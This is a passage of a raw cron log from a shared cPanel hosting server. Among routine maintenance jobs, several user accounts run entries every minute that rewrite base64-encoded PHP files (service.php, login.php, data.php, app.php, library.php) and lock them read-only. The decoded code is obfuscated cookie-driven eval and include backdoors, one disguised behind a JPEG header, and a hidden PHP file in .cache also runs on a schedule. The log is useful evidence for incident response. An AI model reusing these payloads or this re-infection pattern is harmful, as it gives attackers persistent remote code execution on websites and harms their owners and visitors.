gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:39:02 medusa CROND[16402]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:39:02 medusa CROND[16403]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 06:39:02 medusa CROND[16408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:39:02 medusa CROND[16412]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:39:02 medusa CROND[16415]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:39:02 medusa CROND[16416]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:39:02 medusa CROND[16417]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 06:39:02 medusa CROND[16418]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:39:02 medusa CROND[16419]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 06:39:02 medusa CROND[16427]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:39:02 medusa CROND[16432]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:40:02 medusa CROND[23281]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:40:02 medusa CROND[23350]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 06:40:02 medusa CROND[23517]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 06:40:02 medusa CROND[23520]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 06:40:02 medusa CROND[23522]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 06:40:02 medusa CROND[23527]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 06:40:02 medusa CROND[23537]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 06:40:02 medusa CROND[23540]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 06:40:02 medusa CROND[23538]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 06:40:02 medusa CROND[23546]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 06:40:02 medusa CROND[23542]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 06:40:02 medusa CROND[23547]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:40:02 medusa CROND[23539]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 06:40:02 medusa CROND[23548]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 06:40:02 medusa CROND[23553]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 06:40:02 medusa CROND[23550]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 06:40:02 medusa CROND[23561]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 06:40:02 medusa CROND[23574]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:40:02 medusa CROND[23575]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:40:02 medusa CROND[23576]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:40:02 medusa CROND[23578]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:40:02 medusa CROND[23556]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 06:40:02 medusa CROND[23579]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:40:02 medusa CROND[23559]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 06:40:02 medusa CROND[23557]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 06:40:02 medusa CROND[23572]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:40:02 medusa CROND[23581]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 06:40:02 medusa CROND[23566]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 06:41:02 medusa CROND[28137]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 06:41:02 medusa CROND[28136]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 06:41:02 medusa CROND[28138]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 06:41:02 medusa CROND[28139]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 06:41:02 medusa CROND[28141]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 06:41:02 medusa CROND[28142]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 06:41:02 medusa CROND[28143]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 06:41:02 medusa CROND[28145]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
